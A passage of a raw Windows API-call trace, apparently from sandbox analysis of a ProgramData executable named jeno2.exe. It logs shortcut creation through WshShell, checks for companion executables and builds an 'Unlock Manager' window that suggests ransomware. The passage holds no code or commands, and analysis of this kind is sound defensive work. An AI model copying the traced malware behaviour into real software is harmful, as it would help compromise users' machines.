rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="-ui", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0175.175] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0175.175] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.176] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.176] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0175.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14da7c4, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0175.176] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0175.176] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="WorkingDirectory", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1007) returned 0x0 [0175.176] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=1007, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\ProgramData\\", varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0175.177] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="WindowStyle", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1006) returned 0x0 [0175.177] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=1006, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x2, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0175.177] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ec8c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0175.177] lstrcpynA (in: lpString1=0x18eb78, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.177] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0175.177] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c508 [0175.177] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c530 [0175.177] lstrcpyA (in: lpString1=0x383c508, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.178] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832ec0 [0175.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c530 | out: hHeap=0x3820000) returned 1 [0175.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383c508 | out: hHeap=0x3820000) returned 1 [0175.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0175.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832ec0, cbMultiByte=-1, lpWideCharStr=0x14d9ee4, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0175.178] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0175.178] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18ec8c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0175.178] lstrcpynA (in: lpString1=0x18eb78, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.178] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0175.178] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c508 [0175.178] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383c530 [0175.178] lstrcpyA (in: lpString1=0x383c508, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0175.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38374e0, cbMultiByte=-1, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0175.179] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x38374e0 | out: hHeap=0x3820000) returned 1 [0175.179] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee0c*="IconLocation", cNames=0x1, lcid=0x409, rgDispId=0x18ee10 | out: rgDispId=0x18ee10*=1003) returned 0x0 [0175.180] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=1003, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\ProgramData\\jeno2.exe", varVal2=0x72a26c43)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98, puArgErr=0x18edc8 | out: pDispParams=0x18edb8*(rgvarg=([0]=0x18ee20*(varType=0x8, wReserved1=0x0, wReserved2=0x14a8, wReserved3=0x147, varVal1="C:\\ProgramData\\jeno2.exe", varVal2=0x72a26c43)), rgdispidNamedArgs=([0]=0x18ee08*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x18ed98*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edc8*=0x1446910) returned 0x0 [0175.180] WshShell:IDispatch:GetIDsOfNames (in: This=0x39fe18, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x18ee14*="Save", cNames=0x1, lcid=0x409, rgDispId=0x18ee18 | out: rgDispId=0x18ee18*=2001) returned 0x0 [0175.180] WshShell:IDispatch:Invoke (in: This=0x39fe18, dispIdMember=2001, riid=0x7295aea8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x18ede8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x18edc8, puArgErr=0x18edf8 | out: pDispParams=0x18ede8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x18edc8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x18edf8*=0x72a478d9) returned 0x0 [0175.194] WshShell:IUnknown:Release (This=0x3924a8) returned 0x0 [0175.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18ed68, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0175.195] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.195] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0175.195] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0175.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2d4076c, cbMultiByte=3, lpWideCharStr=0x14f5b84, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0175.195] SysReAllocStringLen (in: pbstr=0x18edf8*="C:", psz=0x0, len=0x2 | out: pbstr=0x18edf8*="C:") returned 1 [0175.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0175.195] IMalloc:Alloc (This=0x767666bc, cb=0x7c) returned 0x1461960 [0175.196] IMalloc:GetSize (This=0x767666bc, pv=0x1461960) returned 0x7c [0175.196] GetCurrentThreadId () returned 0x9ec [0175.196] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x104) returned 0x383c508 [0175.196] GetCurrentThreadId () returned 0x9ec [0175.196] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x250) returned 0x383c618 [0175.197] GetCurrentThreadId () returned 0x9ec [0175.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\rps.exe", cchWideChar=-1, lpMultiByteStr=0x18e858, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\rps.exe", lpUsedDefaultChar=0x0) returned 23 [0175.198] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\rps.exe", nBufferLength=0x104, lpBuffer=0x18e988, lpFilePart=0x18e850 | out: lpBuffer="C:\\ProgramData\\rps.exe", lpFilePart=0x18e850*="rps.exe") returned 0x16 [0175.198] FindFirstFileA (in: lpFileName="C:\\ProgramData\\rps.exe", lpFindFileData=0x18e830 | out: lpFindFileData=0x18e830*(dwFileAttributes=0x18e850, ftCreationTime.dwLowDateTime=0x406a1c, ftCreationTime.dwHighDateTime=0x18ec28, ftLastAccessTime.dwLowDateTime=0x18e960, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e988, nFileSizeHigh=0x18e858, nFileSizeLow=0x18e997, dwReserved0=0x1461960, dwReserved1=0x505c3a43, cFileName="rogramData\\rps.exe", cAlternateFileName="¼ë\x18")) returned 0xffffffff [0175.198] GetLastError () returned 0x2 [0175.198] GetLastError () returned 0x2 [0175.198] SetLastError (dwErrCode=0x2) [0175.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0175.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f5b84, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0175.198] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0175.199] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\x86.exe", nBufferLength=0x104, lpBuffer=0x18e988, lpFilePart=0x18e850 | out: lpBuffer="C:\\ProgramData\\x86.exe", lpFilePart=0x18e850*="x86.exe") returned 0x16 [0175.199] FindFirstFileA (in: lpFileName="C:\\ProgramData\\x86.exe", lpFindFileData=0x18e830 | out: lpFindFileData=0x18e830*(dwFileAttributes=0x18e850, ftCreationTime.dwLowDateTime=0x18ec4c, ftCreationTime.dwHighDateTime=0x18ec28, ftLastAccessTime.dwLowDateTime=0x18e960, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e988, nFileSizeHigh=0x18e858, nFileSizeLow=0x18e997, dwReserved0=0x7abe1f, dwReserved1=0x505c3a43, cFileName="rogramData\\x86.exe", cAlternateFileName="¼ë\x18")) returned 0xffffffff [0175.200] GetLastError () returned 0x2 [0175.200] GetLastError () returned 0x2 [0175.200] SetLastError (dwErrCode=0x2) [0175.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0175.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f5b84, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0175.200] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0175.200] GetFullPathNameA (in: lpFileName="C:\\ProgramData\\x64.exe", nBufferLength=0x104, lpBuffer=0x18e988, lpFilePart=0x18e850 | out: lpBuffer="C:\\ProgramData\\x64.exe", lpFilePart=0x18e850*="x64.exe") returned 0x16 [0175.200] FindFirstFileA (in: lpFileName="C:\\ProgramData\\x64.exe", lpFindFileData=0x18e830 | out: lpFindFileData=0x18e830*(dwFileAttributes=0x18e850, ftCreationTime.dwLowDateTime=0x18ec4c, ftCreationTime.dwHighDateTime=0x18ec28, ftLastAccessTime.dwLowDateTime=0x18e960, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e988, nFileSizeHigh=0x18e858, nFileSizeLow=0x18e997, dwReserved0=0x7abe53, dwReserved1=0x505c3a43, cFileName="rogramData\\x64.exe", cAlternateFileName="¼ë\x18")) returned 0xffffffff [0175.201] GetLastError () returned 0x2 [0175.201] GetLastError () returned 0x2 [0175.201] SetLastError (dwErrCode=0x2) [0175.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0175.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f5b84, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0175.201] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e944) [0175.202] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x760 [0175.202] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x198) returned 0x383cdf8 [0175.202] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831c18 [0175.202] lstrlenA (lpString="Unlock Manager") returned 14 [0175.202] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xf) returned 0x3832ed8 [0175.203] OleLoadPictureEx () returned 0x0 [0175.207] lstrlenA (lpString="Form2") returned 5 [0175.207] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x38374e0 [0175.207] lstrlenA (lpString="ThunderRT6") returned 10 [0175.207] lstrcpyA (in: lpString1=0x18e940, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.207] lstrlenA (lpString="ThunderRT6Form") returned 14 [0175.207] lstrcpynA (in: lpString1=0x18e94e, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0175.207] AdjustWindowRectEx (in: lpRect=0x18ea00, dwStyle=0x2c80080, bMenu=0, dwExStyle=0x1 | out: lpRect=0x18ea00) returned 1 [0175.207] CreateWindowExA (dwExStyle=0x1, lpClassName=0xc162, lpWindowName="Unlock Manager", dwStyle=0x2c80080, X=-2147483648, Y=-2147483648, nWidth=726, nHeight=513, hWndParent=0x170262, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x40298 [0175.208] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x81, wParam=0x0, lParam=0x18e524) returned 0x1 [0175.209] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x83, wParam=0x0, lParam=0x18e510) returned 0x0 [0175.210] GetSystemMenu (hWnd=0x40298, bRevert=0) returned 0xb0083 [0175.211] SetWindowContextHelpId (param_1=0x40298, param_2=0xffffffff) returned 1 [0175.211] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x1, wParam=0x0, lParam=0x18e524) returned 0x0 [0175.211] GetWindowRect (in: hWnd=0x40298, lpRect=0x18e9c4 | out: lpRect=0x18e9c4) returned 1 [0175.211] GetDC (hWnd=0x40298) returned 0x3d0109b1 [0175.211] GetTextMetricsA (in: hdc=0x3d0109b1, lptm=0x18e8ec | out: lptm=0x18e8ec) returned 1 [0175.212] SetBkMode (hdc=0x3d0109b1, mode=1) returned 2 [0175.212] OleTranslateColor () returned 0x0 [0175.212] SetBkColor (hdc=0x3d0109b1, color=0xf0f0f0) returned 0xffffff [0175.212] OleTranslateColor () returned 0x0 [0175.212] SetTextColor (hdc=0x3d0109b1, color=0x0) returned 0x0 [0175.212] OleTranslateColor () returned 0x0 [0175.212] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0xffffffff813007ac [0175.212] SelectObject (hdc=0x3d0109b1, h=0x813007ac) returned 0x1b00017 [0175.212] SelectObject (hdc=0x3d0109b1, h=0x1900011) returned 0x1900010 [0175.212] ClientToScreen (in: hWnd=0x40298, lpPoint=0x18e8cc | out: lpPoint=0x18e8cc) returned 1 [0175.212] SetBrushOrgEx (in: hdc=0x3d0109b1, x=2, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0175.212] UnrealizeObject (h=0x1900015) returned 1 [0175.212] SelectObject (hdc=0x3d0109b1, h=0x1900015) returned 0x1900011 [0175.212] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831c38 [0175.213] SelectObject (hdc=0x3d0109b1, h=0xb0a0986) returned 0x18a002e [0175.213] GetTextMetricsA (in: hdc=0x3d0109b1, lptm=0x18e6e0 | out: lptm=0x18e6e0) returned 1 [0175.213] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd8) returned 0x383cf98 [0175.213] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831c58 [0175.213] lstrlenA (lpString="Current Time") returned 12 [0175.213] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xd) returned 0x3832ef0 [0175.214] lstrlenA (lpString="ThunderRT6") returned 10 [0175.214] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.214] lstrlenA (lpString="ThunderRT6") returned 10 [0175.214] lstrcpyA (in: lpString1=0x18e8a4, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.215] GetClassInfoA (in: hInstance=0x0, lpClassName="Button", lpWndClass=0x18e8d0 | out: lpWndClass=0x18e8d0) returned 1 [0175.215] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6Frame", lpWndClass=0x18e8d0 | out: lpWndClass=0x18e8d0) returned 0 [0175.216] RegisterClassA (lpWndClass=0x18e8d0) returned 0x1b0c16a [0175.216] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16a, lpWindowName="Current Time", dwStyle=0x46010007, X=8, Y=8, nWidth=177, nHeight=73, hWndParent=0x40298, hMenu=0x1, hInstance=0x72940000, lpParam=0x0) returned 0x20264 [0175.216] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.216] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.216] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x0 [0175.217] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x5, wParam=0x0, lParam=0x4900b1) returned 0x0 [0175.217] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x3, wParam=0x0, lParam=0x80008) returned 0x0 [0175.217] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831c78 [0175.217] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x0 [0175.217] ShowWindow (hWnd=0x20264, nCmdShow=5) returned 0 [0175.217] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x20264, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.217] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383d078 [0175.217] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831c98 [0175.217] lstrlenA (lpString="11:11:11") returned 8 [0175.217] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832f08 [0175.218] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831cb8 [0175.253] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383d160 [0175.253] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831cd8 [0175.253] lstrlenA (lpString="ThunderRT6") returned 10 [0175.253] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.253] lstrlenA (lpString="ThunderRT6") returned 10 [0175.253] lstrcpyA (in: lpString1=0x18e8a4, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.253] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6Timer", lpWndClass=0x18e8d0 | out: lpWndClass=0x18e8d0) returned 0 [0175.253] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0175.253] RegisterClassA (lpWndClass=0x18e8d0) returned 0x1b0c16c [0175.253] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16c, lpWindowName=0x0, dwStyle=0x44010000, X=160, Y=80, nWidth=0, nHeight=0, hWndParent=0x40298, hMenu=0x2, hInstance=0x72940000, lpParam=0x0) returned 0x70116 [0175.254] SetTimer (hWnd=0x70116, nIDEvent=0x70116, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x70116 [0175.254] NtdllDefWindowProc_A (hWnd=0x70116, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.254] NtdllDefWindowProc_A (hWnd=0x70116, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.254] NtdllDefWindowProc_A (hWnd=0x70116, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x0 [0175.254] NtdllDefWindowProc_A (hWnd=0x70116, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0175.254] NtdllDefWindowProc_A (hWnd=0x70116, Msg=0x3, wParam=0x0, lParam=0x5000a0) returned 0x0 [0175.254] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd8) returned 0x383d248 [0175.254] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831cf8 [0175.254] lstrlenA (lpString="Frame2") returned 6 [0175.255] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x7) returned 0x383d328 [0175.255] lstrlenA (lpString="ThunderRT6") returned 10 [0175.255] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.255] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16a, lpWindowName="Frame2", dwStyle=0x46010007, X=8, Y=528, nWidth=633, nHeight=409, hWndParent=0x40298, hMenu=0x3, hInstance=0x72940000, lpParam=0x0) returned 0x7015a [0175.255] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.255] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.255] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x0 [0175.255] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x5, wParam=0x0, lParam=0x1990279) returned 0x0 [0175.255] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x3, wParam=0x0, lParam=0x2100008) returned 0x0 [0175.256] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831d18 [0175.256] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x7015a, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x0 [0175.256] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x383d338 [0175.256] RtlAllocateHeap 